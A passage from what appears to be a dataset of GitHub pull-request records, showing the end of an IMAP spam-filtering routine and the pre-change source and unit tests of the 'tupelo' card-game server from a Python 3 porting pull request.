self.spamflagscmd,\n                                      imaputils.imapflags(self.spamflags))\n                        sa_proc.newpastuids.append(uid)\n                # If its gmail, and --delete was passed, we actually copy!\n                if self.delete and self.gmail:\n                    for uid in spamlist:\n                        self.imap.uid(\"COPY\", uid, \"[Gmail]/Trash\")\n                # Set deleted flag for spam with high score\n                for uid in spamdeletelist:\n                    if self.gmail is True:\n                        self.imap.uid(\"COPY\", uid, \"[Gmail]/Trash\")\n                    else:\n                        self.imap.uid(\"STORE\", uid, self.spamflagscmd,\n                                      \"(\\\\Deleted)\")\n                if self.expunge:\n                    self.imap.expunge()\n\n        return sa_proc\n"}}
{"repo": "jait/tupelo", "pr_number": 1, "title": "Python 3 support + fixes", "state": "closed", "merged_at": "2020-04-26T09:39:13Z", "additions": 808, "deletions": 694, "files_changed": ["tests/test_common.py", "tests/test_events.py", "tests/test_players.py", "tests/test_rpc.py", "tests/test_server.py", "tupelo/common.py", "tupelo/events.py", "tupelo/game.py", "tupelo/players.py", "tupelo/rpc.py", "tupelo/server/__init__.py", "tupelo/server/jsonapi.py", "tupelo/server/server.py", "tupelo/server/xmlrpc.py", "www/index.html", "www/tupelo-main.js"], "files_before": {"tests/test_common.py": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: set sts=4 sw=4 et:\n\nimport unittest\nfrom tupelo import rpc\nfrom tupelo import common\nfrom tupelo.common import Card, CardSet, smart_unicode, smart_str, TupeloException\nimport threading\nimport copy\nimport time\n\nclass SyncTester(object):\n\n    def __init__(self):\n        self.lock = threading.Lock()\n        self.counter = 0\n\n    @common.synchronized_method('lock')\n    def sync(self):\n        assert self.counter == 0, 'oops, @synchronized_method did not work. '\\\n            'counter is %d' % self.counter\n        self.counter += 1\n        time.sleep(1)\n        assert self.counter == 1, 'oops, @synchronized_method did not work. '\\\n            'counter is %d' % self.counter\n        time.sleep(1)\n        self.counter -= 1\n        assert self.counter == 0, 'oops, @synchronized_method did not work. '\\\n            'counter is %d' % self.counter\n        return True\n\n\nclass TestCommon(unittest.TestCase):\n\n    def testSuitGlobals(self):\n        self.assert_(common.HEART > common.CLUB)\n        self.assert_(common.CLUB > common.DIAMOND)\n        self.assert_(common.DIAMOND > common.SPADE)\n\n    def testSuitRPC(self):\n        heart = common.HEART\n        encoded = rpc.rpc_encode(heart)\n        decoded = rpc.rpc_decode(common.Suit, encoded)\n        self.assert_(isinstance(decoded, common.Suit))\n        self.assertEqual(heart.value, decoded.value)\n        self.assertEqual(heart.name, decoded.name)\n\n    def testCardRPC(self):\n        card = Card(common.HEART, 5)\n        encoded = rpc.rpc_encode(card)\n        self.assertFalse(isinstance(encoded, common.Card))\n        decoded = rpc.rpc_decode(common.Card, encoded)\n        self.assert_(isinstance(decoded, common.Card))\n        self.assertEqual(card, decoded)\n\n    def testCardSet(self):\n        deck = CardSet.new_full_deck()\n        self.assert_(len(deck) == 52)\n        for suit in common.ALL_SUITS:\n            cards = deck.get_cards(suit=common.HEART)\n            self.assert_(len(cards) == 13)\n\n        for i in range(2, 15):\n            cards = deck.get_cards(value=i)\n            self.assert_(len(cards) == 4)\n\n        deck.clear()\n        self.assert_(len(deck) == 0)\n\n    def testCardSetHighest(self):\n        cs = CardSet()\n        cs.append(Card(common.HEART, 5))\n        cs.append(Card(common.HEART, 7))\n        cs.append(Card(common.HEART, 11))\n        hi = cs.get_highest()\n        self.assertEqual(hi.value, 11)\n        hi = cs.get_highest(roof=9)\n        self.assertEqual(hi.value, 7)\n        hi = cs.get_highest(roof=7)\n        self.assertEqual(hi.value, 7)\n        hi = cs.get_highest(roof=2)\n        self.assert_(hi is None)\n        hi = cs.get_highest(floor=12)\n        self.assert_(hi is None)\n\n    def testCardSetLowest(self):\n        cs = CardSet()\n        cs.append(Card(common.HEART, 5))\n        cs.append(Card(common.HEART, 7))\n        cs.append(Card(common.HEART, 11))\n        lo = cs.get_lowest()\n        self.assertEqual(lo.value, 5)\n        lo = cs.get_lowest(floor=9)\n        self.assertEqual(lo.value, 11)\n        lo = cs.get_lowest(floor=7)\n        self.assertEqual(lo.value, 7)\n        lo = cs.get_lowest(floor=12)\n        self.assert_(lo is None)\n        lo = cs.get_lowest(roof=2)\n        self.assert_(lo is None)\n\n    def testGameStateRPC(self):\n        gs = common.GameState()\n        gs.table.append(Card(common.HEART, 5))\n        encoded = rpc.rpc_encode(gs)\n        gs2 = rpc.rpc_decode(common.GameState, encoded)\n        self.assert_(isinstance(gs2, common.GameState))\n        self.assert_(isinstance(gs2.table, gs.table.__class__))\n        self.assertEqual(len(gs2.table), len(gs.table))\n\n    def testShortUUID(self):\n        suuid = common.short_uuid()\n        self.assert_(isinstance(suuid, basestring))\n        suuid2 = common.short_uuid()\n        self.assertNotEqual(suuid, suuid2)\n\n    def testSmartUnicode(self):\n        self.assertEqual(smart_unicode('hello'), u'hello')\n        self.assertEqual(smart_unicode(u'hello'), u'hello')\n        self.assertEqual(smart_unicode('hell\u00f6'), u'hell\\u00F6')\n        self.assertEqual(smart_unicode(u'hell\\u00F6'), u'hell\\u00F6')\n        self.assertEqual(smart_unicode(1), u'1')\n        self.assertEqual(smart_unicode(u'\\u2665'), u'\\u2665')\n        self.assertEqual(smart_unicode(TupeloException(u'hell\\u00F6')), u'hell\\u00F6')\n        self.assertEqual(smart_unicode(TupeloException('hell\u00f6')), u'hell\\u00F6')\n\n    def testSmartStr(self):\n        self.assertEqual(smart_str('hello'), 'hello')\n        self.assertEqual(smart_str(u'hello'), 'hello')\n        self.assertEqual(smart_str('hell\u00f6'), 'hell\u00f6')\n        self.assertEqual(smart_str(u'hell\\u00F6'), 'hell\u00f6')\n        self.assertEqual(smart_str(1), '1')\n        self.assertEqual(smart_str(u'\\u2665'), '\\xe2\\x99\\xa5')\n        self.assertRaises(UnicodeEncodeError, lambda: smart_str(u'hell\u00f6', 'ascii'))\n        self.assertEqual(smart_str(TupeloException(u'hell\u00f6')), 'hell\u00f6')\n        self.assertEqual(smart_str(TupeloException('hell\u00f6')), 'hell\u00f6')\n\n    def testSynchronizedMethod(self):\n        synctester = SyncTester()\n        def _runner():\n            synctester.sync()\n\n        threads = []\n        for i in xrange(4):\n            thread = threading.Thread(None, _runner)\n            threads.append(thread)\n            thread.start()\n\n        for thread in threads:\n            thread.join(5.0)\n\nif __name__ == '__main__':\n    unittest.main()\n", "tests/test_events.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport unittest\nfrom tupelo import events\nfrom tupelo import rpc\nfrom tupelo import common\nfrom tupelo import players\n\nclass TestEventsRPC(unittest.TestCase):\n\n    def testEvent(self, cls=None):\n        cls = events.Event\n        e = cls()\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assert_(isinstance(e2, cls))\n        self.assertEqual(e.type, e2.type)\n\n    def testCardPlayedEmpty(self):\n        cls = events.CardPlayedEvent\n        e = cls()\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assert_(isinstance(e2, cls))\n        self.assertEqual(e.type, e2.type)\n\n    def testCardPlayed(self):\n        cls = events.CardPlayedEvent\n        plr = players.Player('Seppo')\n        card = common.Card(common.HEART, 5)\n        e = cls(plr, card)\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assert_(isinstance(e2, cls))\n        self.assertEqual(e.type, e2.type)\n        self.assertEqual(e.player.player_name, e2.player.player_name)\n        self.assertEqual(e.card, e2.card)\n        self.assertEqual(e2.game_state, None)\n\n    def testMessageEmpty(self):\n        cls = events.MessageEvent\n        e = cls()\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assert_(isinstance(e2, cls))\n        self.assertEqual(e.type, e2.type)\n\n    def testMessage(self):\n        e = events.MessageEvent('from', 'lorem ipsum')\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assert_(isinstance(e2, events.MessageEvent))\n        self.assertEqual(e.type, e2.type)\n        self.assertEqual(e.sender, e2.sender)\n        self.assertEqual(e.message, e2.message)\n\n    def testStateChanged(self):\n        cls = events.StateChangedEvent\n        game_state = common.GameState()\n        game_state.state = common.GameState.VOTING\n        e = cls(game_state)\n        self.assert_(e.game_state is not None)\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assert_(isinstance(e2, cls))\n        self.assertEqual(e.type, e2.type)\n        self.assertEqual(e.game_state, e2.game_state)\n\n    def testEventListEmpty(self):\n        el = events.EventList()\n        self.assertEqual(len(el), 0)\n        el2 = rpc.rpc_decode(events.EventList, rpc.rpc_encode(el))\n        self.assert_(isinstance(el2, events.EventList))\n        self.assertEqual(len(el2), 0)\n\n    def testEventList(self):\n        el = events.EventList()\n        el.append(events.MessageEvent('a', 'b'))\n        el.append(events.MessageEvent('c', 'd'))\n        num = len(el)\n        self.assertEqual(num, 2)\n        el2 = rpc.rpc_decode(events.EventList, rpc.rpc_encode(el))\n        self.assert_(isinstance(el2, events.EventList))\n        self.assertEqual(len(el2), num)\n        for i in range(0, num):\n            self.assertEqual(el[i], el2[i])\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "tests/test_players.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport unittest\nimport time\nfrom tupelo import players\nfrom tupelo.common import GameState\n\nclass TestPlayers(unittest.TestCase):\n\n    def testThreadedPlayer(self):\n        plr = players.ThreadedPlayer('Seppo')\n        plr.start()\n        self.assert_(plr.is_alive())\n        plr.game_state.state = GameState.STOPPED\n        plr.act(None, None)\n        plr.join(5.0) # wait until the thread quits\n        self.assertFalse(plr.is_alive())\n\n    def testThreadedPlayerStop(self):\n        plr = players.ThreadedPlayer('Seppo')\n        plr.start()\n        time.sleep(0.5)\n        self.assert_(plr.is_alive())\n        plr.stop()\n        plr.join(5.0) # wait until the thread quits\n        self.assertFalse(plr.is_alive())\n\n    def testThreadedPlayerRestart(self):\n        plr = players.ThreadedPlayer('Seppo')\n        plr.start()\n        time.sleep(0.5)\n        self.assert_(plr.is_alive())\n        # trying to start again while running should raise an exception\n        self.assertRaises(RuntimeError, plr.start)\n        plr.stop()\n        plr.join(5.0) # wait until the thread quits\n        self.assertFalse(plr.is_alive())\n        # restart\n        plr.start()\n        time.sleep(0.5)\n        self.assert_(plr.is_alive())\n        plr.stop()\n        plr.join(5.0) # wait until the thread quits\n        self.assertFalse(plr.is_alive())\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "tests/test_rpc.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport unittest\nfrom tupelo import rpc\n\nclass _RPCTestClass(rpc.RPCSerializable):\n    rpc_attrs = ('a', 'b')\n    a = 1\n    b = '2'\n\nclass _CustomClass(object):\n    def rpc_encode(self):\n        return 'hilipati'\n\n    @classmethod\n    def rpc_decode(cls, rpcobj):\n        return 'joop'\n\nclass TestRPC(unittest.TestCase):\n\n    def testSerializeSimple(self):\n        testobj = _RPCTestClass()\n        encoded = rpc.rpc_encode(testobj)\n        self.assertEqual(encoded, {'a':1, 'b':'2'})\n        # change something\n        encoded['a'] = 2\n        decoded = rpc.rpc_decode(_RPCTestClass, encoded)\n        self.assert_(isinstance(decoded, _RPCTestClass))\n        self.assertEqual(decoded.a, 2)\n\n    def testDecodeAttr(self):\n        testobj = _RPCTestClass()\n        encoded = rpc.rpc_encode(testobj)\n        self.assertEqual(encoded, {'a':1, 'b':'2'})\n        decoded = _RPCTestClass()\n        decoded.rpc_decode_attr(encoded, 'b')\n        self.assertEqual(decoded.b, '2')\n\n    def testSerializableEqual(self):\n        testobj1 = _RPCTestClass()\n        testobj2 = _RPCTestClass()\n        self.assertEqual(testobj1, testobj2)\n        self.assertFalse(testobj1 != testobj2)\n        decoded1 = rpc.rpc_decode(_RPCTestClass, rpc.rpc_encode(testobj1))\n        decoded2 = rpc.rpc_decode(_RPCTestClass, rpc.rpc_encode(testobj2))\n        self.assertEqual(decoded1, decoded2)\n        self.assertFalse(decoded1 != decoded2)\n\n    def testSerializableEqualWrongType(self):\n        testobj1 = _RPCTestClass()\n        self.assertNotEqual(testobj1, [])\n        self.assertTrue(testobj1 != [])\n        self.assertNotEqual(testobj1, 'wrong type')\n        self.assertNotEqual(testobj1, None)\n\n    def testSerializableNotEqual(self):\n        testobj1 = _RPCTestClass()\n        testobj2 = _RPCTestClass()\n        testobj2.a = 0\n        self.assertNotEqual(testobj1, testobj2)\n        self.assertFalse(testobj1 == testobj2)\n        decoded1 = rpc.rpc_decode(_RPCTestClass, rpc.rpc_encode(testobj1))\n        decoded2 = rpc.rpc_decode(_RPCTestClass, rpc.rpc_encode(testobj2))\n        self.assertNotEqual(decoded1, decoded2)\n        self.assertFalse(decoded1 == decoded2)\n\n    def testSerializeCustom(self):\n        testobj = _CustomClass()\n        encoded = rpc.rpc_encode(testobj)\n        self.assertEqual(encoded, 'hilipati')\n        decoded = rpc.rpc_decode(_CustomClass, encoded)\n        self.assertEqual(decoded, 'joop')\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "tests/test_server.py": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: set sts=4 sw=4 et:\n\nimport unittest\nimport types\nfrom tupelo import rpc\nfrom tupelo.server import TupeloRPCInterface as I, TupeloJSONDispatcher as D\nfrom tupelo.players import Player\n\nclass TestTupeloJSONDispatcher(unittest.TestCase):\n\n    def testPath2Method(self):\n        d = D()\n        self.assertEqual(d.json_path_prefix, '/ajax/') # default\n\n        d.json_path_prefix = '/a/'\n        self.assertEqual(d.path2method('/a/hello'), 'hello')\n        self.assertEqual(d.path2method('/a/hello/again'), 'hello_again')\n        self.assertEqual(d.path2method('/a/hello_again'), 'hello_again')\n        self.assertEqual(d.path2method('/hello/again'), None)\n\n        d.json_path_prefix = None\n        self.assertEqual(d.path2method('/hello'), 'hello')\n        self.assertEqual(d.path2method('hello'), 'hello')\n        self.assertEqual(d.path2method('/hello/there'), 'hello_there')\n        self.assertEqual(d.path2method('hello/again'), 'hello_again')\n\n    def testParseQString(self):\n        d = D()\n        d.json_path_prefix = None\n        f = d._json_parse_qstring\n        self.assertEqual(f('/hello'), ('hello', {}))\n        self.assertEqual(f('h?foo=bar'), ('h', {'foo': 'bar'}))\n        self.assertEqual(f('h?foo=\"bar\"'), ('h', {'foo': 'bar'}))\n        self.assertEqual(f('h?a=1&b=3'), ('h', {'a': 1, 'b': 3}))\n        self.assertEqual(f('h?a={\"a\":1, \"b\":[0], \"c\":\"s\"}'), ('h', {'a': {'a':1, 'b':[0], 'c': 's'}}))\n\n    def testDispatch(self):\n        class MockInterface(object):\n            def __init__(self):\n                self.callstack = []\n\n            def _json_dispatch(self, method, params):\n                self.callstack.append((method, params))\n\n        mock = MockInterface()\n        d = D()\n        d.json_path_prefix = '/a/'\n        d.register_instance(mock)\n        d.json_dispatch('/a/hello', {})\n        self.assertEqual(mock.callstack.pop(), ('hello', {}))\n        d.json_dispatch('/a/h?a=1&b=2', {})\n        self.assertEqual(mock.callstack.pop(), ('h', {'a':1, 'b':2}))\n        d.json_dispatch('/a/h?a=1&b=2', {'Cookie': 'akey=b0_S6cNZRFmejfPXV2q6eA'})\n        self.assertEqual(mock.callstack.pop(), ('h', {'a':1, 'b':2, 'akey': 'b0_S6cNZRFmejfPXV2q6eA'}))\n\n\nclass TestTupeloRPCInterface(unittest.TestCase):\n\n    def _encoded_player(self, name='m\u00f6rk\u00f6'):\n        player = Player(name)\n        encoded = rpc.rpc_encode(player)\n        return encoded\n\n    def testRegisterPlayer(self):\n        iface = I()\n        encoded = self._encoded_player()\n        p_data = iface.player_register(encoded)\n        self.assert_(isinstance(p_data['id'], basestring))\n        self.assert_(isinstance(p_data['akey'], basestring))\n        plr = iface._ensure_auth(p_data['akey'])\n        self.assertEqual(plr.id, p_data['id'])\n        # list players\n        players_raw = iface.player_list(p_data['akey'])\n        self.assert_(isinstance(players_raw, list))\n        players = [rpc.rpc_decode(Player, pl) for pl in players_raw]\n        me = None\n        for pl in players:\n            if pl.id == p_data['id']:\n                me = pl\n                break\n        self.assert_(me is not None)\n        self.assertEqual(me.player_name, encoded['player_name'])\n        iface._clear_auth()\n\n    def testHelloEmpty(self):\n        iface = I()\n        hello = iface.hello()\n        self.assert_(isinstance(hello, dict))\n        self.assert_(hello.has_key('version'))\n        self.assert_(isinstance(hello['version'], basestring))\n        self.assertFalse(hello.has_key('player'))\n        self.assertFalse(hello.has_key('game'))\n\n    def testGame(self):\n        iface = I()\n        gamelist = iface.game_list()\n        self.assert_(isinstance(gamelist, dict))\n        self.assertEqual(len(gamelist), 0)\n        # register\n        p_encoded = self._encoded_player()\n        p_data = iface.player_register(p_encoded)\n        # create game\n        g_id = iface.game_create(p_data['akey'])\n        # list\n        gamelist = iface.game_list()\n        self.assert_(gamelist.has_key(str(g_id)))\n        players_raw = gamelist[str(g_id)]\n        self.assert_(isinstance(players_raw, list))\n        # decode\n        players = [rpc.rpc_decode(Player, pl) for pl in players_raw]\n        self.assert_(p_data['id'] in [pl.id for pl in players])\n        # get_info\n        info = iface.game_get_info(g_id)\n        self.assert_(info == players_raw)\n        # leave\n        ret = iface.player_quit(p_data['akey'])\n        self.assertEqual(ret, True)\n        # after the only player leaves, the game should get deleted\n        gamelist = iface.game_list()\n        self.assertFalse(gamelist.has_key(g_id))\n\n    def testFullGame(self):\n        iface = I()\n        plrs = []\n        for i in range(1, 5):\n            plrs.append(self._encoded_player(str(i)))\n\n        p_datas = []\n        for p in plrs:\n            p_datas.append(iface.player_register(p))\n\n        g_id = iface.game_create(p_datas[0]['akey'])\n        ret = iface.game_enter(p_datas[1]['akey'], g_id)\n        self.assertEqual(ret, g_id)\n        ret = iface.game_enter(p_datas[2]['akey'], g_id)\n        self.assertEqual(ret, g_id)\n        ret = iface.game_enter(p_datas[3]['akey'], g_id)\n        self.assertEqual(ret, g_id)\n\n        gamelist = iface.game_list()\n        self.assert_(gamelist.has_key(str(g_id)))\n        players = gamelist[str(g_id)]\n        self.assertEqual(len(players), len(p_datas))\n        # decode\n        players = [rpc.rpc_decode(Player, pl) for pl in players]\n        for p_data in p_datas:\n            self.assert_(p_data['id'] in [pl.id for pl in players])\n\n        state = iface.game_get_state(p_datas[0]['akey'], g_id)\n        self.assert_(state.has_key('game_state'))\n        self.assertEqual(state['game_state']['state'], 0)\n\n        try:\n            ret = iface.game_start(p_datas[0]['akey'], g_id)\n            self.assertEqual(ret, True)\n\n            state = iface.game_get_state(p_datas[0]['akey'], g_id)\n            self.assert_(state.has_key('game_state'))\n            self.assertEqual(state['game_state']['state'], 1)\n            self.assert_(state.has_key('hand'))\n\n            ret = iface.game_leave(p_datas[0]['akey'], g_id)\n            self.assertEqual(ret, True)\n\n            for p_data in p_datas:\n                ret = iface.player_quit(p_data['akey'])\n                self.assertEqual(ret, True)\n\n        finally:\n            for game in iface.games:\n                game._reset()\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "tupelo/common.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport random\nimport copy\nimport rpc\nimport uuid\nimport base64\nimport types\nfrom functools import wraps\n\n# game mode\nNOLO = 0\nRAMI = 1\n\nTURN_NONE = -1\n\ndef smart_unicode(s, encoding='utf-8'):\n    \"\"\"\n    Convert some object to unicode.\n    \"\"\"\n    if type(s) in (unicode, int, long, float, types.NoneType):\n        return unicode(s)\n\n    if isinstance(s, str):\n        return s.decode(encoding)\n\n    return unicode(s)\n\ndef smart_str(s, encoding='utf-8'):\n    \"\"\"\n    Convert some object to bytestring.\n    \"\"\"\n    if isinstance(s, unicode):\n        return s.encode(encoding)\n\n    return str(s)\n\ndef simple_decorator(decorator):\n    \"\"\"This decorator can be used to turn simple functions\n    into well-behaved decorators, so long as the decorators\n    are fairly simple. If a decorator expects a function and\n    returns a function (no descriptors), and if it doesn't\n    modify function attributes or docstring, then it is\n    eligible to use this. Simply apply @simple_decorator to\n    your decorator and it will automatically preserve the\n    docstring and function attributes of functions to which\n    it is applied.\"\"\"\n    def new_decorator(func):\n        decf = decorator(func)\n        decf.__name__ = func.__name__\n        decf.__doc__ = func.__doc__\n        decf.__dict__.update(func.__dict__)\n        return decf\n    # Now a few lines needed to make simple_decorator itself\n    # be a well-behaved decorator.\n    new_decorator.__name__ = decorator.__name__\n    new_decorator.__doc__ = decorator.__doc__\n    new_decorator.__dict__.update(decorator.__dict__)\n    return new_decorator\n\n@simple_decorator\ndef traced(func):\n    \"\"\"\n    A decorator for tracing func calls.\n    \"\"\"\n    def wrapper(*args, **kwargs):\n        print \"DEBUG: entering %s()\" % func.__name__\n        retval = func(*args, **kwargs)\n        return retval\n\n    return wrapper\n\ndef synchronized_method(lock_name):\n    \"\"\"\n    Simple synchronization decorator for methods.\n    \"\"\"\n    def decorator(func):\n        @wraps(func)\n        def wrapper(self, *args, **kwargs):\n            lock = self.__getattribute__(lock_name)\n            lock.acquire()\n            try:\n                return func(self, *args, **kwargs)\n            finally:\n                lock.release()\n\n        return wrapper\n\n    return decorator\n\ndef short_uuid():\n    \"\"\"\n    Generate a short, random unique ID.\n\n    Returns a string (base64 encoded UUID).\n    \"\"\"\n    return base64.urlsafe_b64encode(uuid.uuid4().get_bytes()).replace('=', '')\n\n\nclass StrAndUnicode(object):\n    \"\"\"\n    A class whose __str__ returns its __unicode__ as a UTF-8 bytestring.\n    \"\"\"\n    def __str__(self):\n        \"\"\"\n        Get the 'unofficial' string representation.\n        \"\"\"\n        return self.__unicode__().encode('utf-8')\n\n\nclass TupeloException(StrAndUnicode, Exception):\n    \"\"\"\n    Base class for new exceptions.\n    \"\"\"\n    def __init__(self, message=None):\n        self.message = message\n\n    def __unicode__(self):\n        return smart_unicode(self.message)\n\n\nclass GameError(TupeloException):\n    \"\"\"\n    Generic error class for game errors.\n    \"\"\"\n    rpc_code = 1\n\n\nclass RuleError(TupeloException):\n    \"\"\"\n    Error for breaking the game rules.\n    \"\"\"\n    rpc_code = 2\n\n\nclass ProtocolError(TupeloException):\n    \"\"\"\n    Error for problems in using the RPC protocol.\n    \"\"\"\n    rpc_code = 3\n\n\nclass UserQuit(GameError):\n    \"\"\"\n    Exception for indicating that user quits the game.\n    \"\"\"\n    pass\n\n\nclass Suit(object):\n    \"\"\"\n    Class for suits.\n    \"\"\"\n    def __init__(self, value, name, char=''):\n        self.name = name\n        self.value = value\n        self.char = char\n\n    def __cmp__(self, other):\n        return cmp(self.value, other.value)\n\n    def rpc_encode(self):\n        return self.value\n\n    @classmethod\n    def rpc_decode(cls, value):\n        return _get_suit(value)\n\n    def __str__(self):\n        \"\"\"\n        Get the 'unofficial' string representation.\n        \"\"\"\n        return self.name\n\nHEART = Suit(3, 'hearts', u'\\u2665')\nCLUB = Suit(2, 'clubs', u'\\u2663')\nDIAMOND = Suit(1, 'diamonds', u'\\u2666')\nSPADE = Suit(0, 'spades', u'\\u2660')\n\nALL_SUITS = [HEART, CLUB, DIAMOND, SPADE]\n\ndef _get_suit(value):\n    for suit in ALL_SUITS:\n        if suit.value == value:\n            return suit\n\n    return None\n        \nclass Card(rpc.RPCSerializable, StrAndUnicode):\n    \"\"\"\n    Class that represents a single card.\n    \"\"\"\n    _chars = {11:'J', 12:'Q', 13:'K', 14:'A'}\n    rpc_attrs = ('suit', 'value', 'played_by')\n\n    def __init__(self, suit, value):\n        rpc.RPCSerializable.__init__(self)\n        self.suit = suit\n        self.value = value\n        self.potential_owners = range(0, 4)\n        self.played_by = None\n\n    @classmethod\n    def rpc_decode(cls, rpcobj):\n        card = Card(rpc.rpc_decode(Suit, rpcobj['suit']), rpcobj['value'])\n        if rpcobj.has_key('played_by'):\n            card.played_by = rpcobj['played_by']\n\n        return card\n\n    def __eq__(self, other):\n        return self.suit == other.suit and self.value == other.value\n\n    def __ne__(self, other):\n        return self.suit != other.suit or self.value != other.value\n\n    def __cmp__(self, other):\n        suitcmp = cmp(self.suit, other.suit)\n        if suitcmp != 0: \n            return suitcmp\n\n        return cmp(self.value, other.value)\n\n    def __repr__(self):\n        \"\"\"\n        Get the 'official string representation of the object.\n        \"\"\"\n        return '<Card: %s of %s>' % (self.value, self.suit.name)\n\n    def __unicode__(self):\n        \"\"\"\n        Get the 'unofficial' unicode representation.\n        \"\"\"\n        return u'%s%s' % (self.char, self.suit.char)\n\n    @property\n    def char(self):\n        \"\"\"\n        Get the character corresponding to the card value.\n        \"\"\"\n        if self._chars.has_key(self.value):\n            return self._chars[self.value]\n        return str(self.value)\n\n    def get_char(self):\n        \"\"\"\n        For compatibility.\n        \"\"\"\n        return self.char\n\n\nclass CardSet(list, rpc.RPCSerializable):\n    \"\"\"\n    A set of cards.\n    \"\"\"\n    @staticmethod\n    def new_full_deck():\n        \"\"\"\n        Create a full deck of cards.\n        \"\"\"\n        deck = CardSet()\n        for suit in ALL_SUITS:\n            for val in range(2, 15):\n                deck.append(Card(suit, val))\n\n        return deck\n\n    def __sub__(self, other):\n        \"\"\"\n        \"\"\"\n        result = copy.copy(self)\n        for elem in other:\n            try:\n                result.remove(elem)\n            except ValueError:\n                continue\n        return result\n\n    def rpc_encode(self):\n        return [rpc.rpc_encode(card) for card in self]\n\n    @classmethod\n    def rpc_decode(cls, rpcobj):\n        cset = cls()\n        for card in rpcobj:\n            cset.append(rpc.rpc_decode(Card, card))\n        return cset\n\n    def get_cards(self, **kwargs):\n        \"\"\"\n        Get cards from the set.\n\n        Supported keyword args:\n            - suit: get cards having the given suit\n            - value: get cards having the given value\n        \"\"\"\n        result = CardSet()\n        for card in self:\n            if kwargs.has_key('suit') and card.suit != kwargs['suit']:\n                continue\n\n            if kwargs.has_key('value') and card.value != kwargs['value']:\n                continue\n\n            result.append(card)\n        return result\n\n    def shuffle(self):\n        \"\"\"\n        Shuffle the CardSet to a random order.\n        \"\"\"\n        random.shuffle(self)\n\n    def take(self, card):\n        \"\"\"\n        Take a selected card from the set.\n        \"\"\"\n        self.remove(card)\n        return card\n\n    def clear(self):\n        \"\"\"\n        Clear this set.\n        \"\"\"\n        del self[:]\n\n    def deal(self, cardsets):\n        \"\"\"\n        Deal this CardSet into cardsets.\n        \"\"\"\n        while len(self) > 0:\n            for cset in cardsets:\n                try:\n                    cset.append(self.pop(0))\n                except IndexError:\n                    break\n\n    def get_highest(self, **kwargs):\n        \"\"\"\n        Get the card with the highest value.\n        \"\"\"\n        highest = None\n        roof = None\n        floor = None\n\n        if kwargs.has_key('roof'):\n            roof = kwargs['roof']\n\n        if kwargs.has_key('floor'):\n            floor = kwargs['floor']\n\n        for card in self:\n            if floor is not None and card.value < floor:\n                continue\n            if roof is not None and card.value > roof:\n                continue\n            if highest is None or card.value > highest.value:\n                highest = card\n                    \n        return highest\n\n    def get_lowest(self, **kwargs):\n        \"\"\"\n        Get the card with the lowest value.\n        \"\"\"\n        lowest = None\n        roof = None\n        floor = None\n\n        if kwargs.has_key('roof'):\n            roof = kwargs['roof']\n\n        if kwargs.has_key('floor'):\n            floor = kwargs['floor']\n\n        for card in self:\n            if floor is not None and card.value < floor:\n                continue\n            if roof is not None and card.value > roof:\n                continue\n            if lowest is None or card.value < lowest.value:\n                lowest = card\n\n        return lowest\n\nclass GameState(rpc.RPCSerializable):\n    \"\"\"\n    State of a single game.\n    \"\"\"\n    rpc_attrs = ('state', 'mode', 'table:CardSet', 'score', 'tricks', 'turn',\n            'turn_id')\n\n    # states\n    OPEN = 0\n    VOTING = 1\n    ONGOING = 2\n    STOPPED = 3\n\n    def __init__(self):\n        rpc.RPCSerializable.__init__(self)\n        self.state = GameState.OPEN\n        self.mode = NOLO\n        self.table = CardSet()\n        self.score = [0, 0]\n        self.tricks = [0, 0]\n        self.rami_chosen_by = None\n        self.turn = 0\n        self.turn_id = 0\n        self.dealer = 0\n\n    def update(self, new_state):\n        \"\"\"\n        Update the state from a new state object.\n        \"\"\"\n        for attr in self.__dict__:\n            if hasattr(new_state, attr):\n                setattr(self, attr, getattr(new_state, attr))\n\n    def next_in_turn(self, thenext=None):\n        \"\"\"\n        Set the next player in turn.\n        \"\"\"\n        if thenext is None:\n            self.turn = (self.turn + 1) % 4\n        else:\n            self.turn = (thenext) % 4\n\n    def __str__(self):\n        statestr = {GameState.OPEN: 'OPEN', GameState.STOPPED: 'STOPPED',\n                GameState.VOTING: 'VOTING', GameState.ONGOING: 'ONGOING'}\n        modestr = {NOLO: 'NOLO', RAMI: 'RAMI'}\n        return \"state: %s, mode: %s, score: %s, tricks: %s, dealer: %d\" % \\\n                (statestr[self.state], modestr[self.mode], str(self.score),\n                        str(self.tricks), self.dealer)\n\n", "tupelo/events.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport rpc\n\n\nclass Event(rpc.RPCSerializable):\n    \"\"\"\n    Class for events.\n    \"\"\"\n    type = 0\n    rpc_attrs = ('type',)\n\n    @classmethod\n    def rpc_decode(cls, rpcobj):\n        \"\"\"\n        Decode an rpc object into an Event instance.\n        \"\"\"\n        instance = None\n        for subcls in cls.__subclasses__():\n            if getattr(subcls, 'type') == rpcobj['type']:\n                return rpc.rpc_decode(subcls, rpcobj)\n\n        return cls.rpc_decode_simple(rpcobj)\n\n\nclass CardPlayedEvent(Event):\n    \"\"\"\n    A card has been played.\n    \"\"\"\n    type = 1\n    rpc_attrs = Event.rpc_attrs + ('player:Player', 'card:Card', 'game_state:GameState')\n\n    def __init__(self, player=None, card=None, game_state=None):\n        self.player = player\n        self.card = card\n        self.game_state = game_state\n\n\nclass MessageEvent(Event):\n    \"\"\"\n    A message.\n    \"\"\"\n    type = 2\n    rpc_attrs = Event.rpc_attrs + ('sender', 'message')\n\n    def __init__(self, sender=None, message=None):\n        self.sender = sender\n        self.message = message\n\n\nclass TrickPlayedEvent(Event):\n    \"\"\"\n    A card 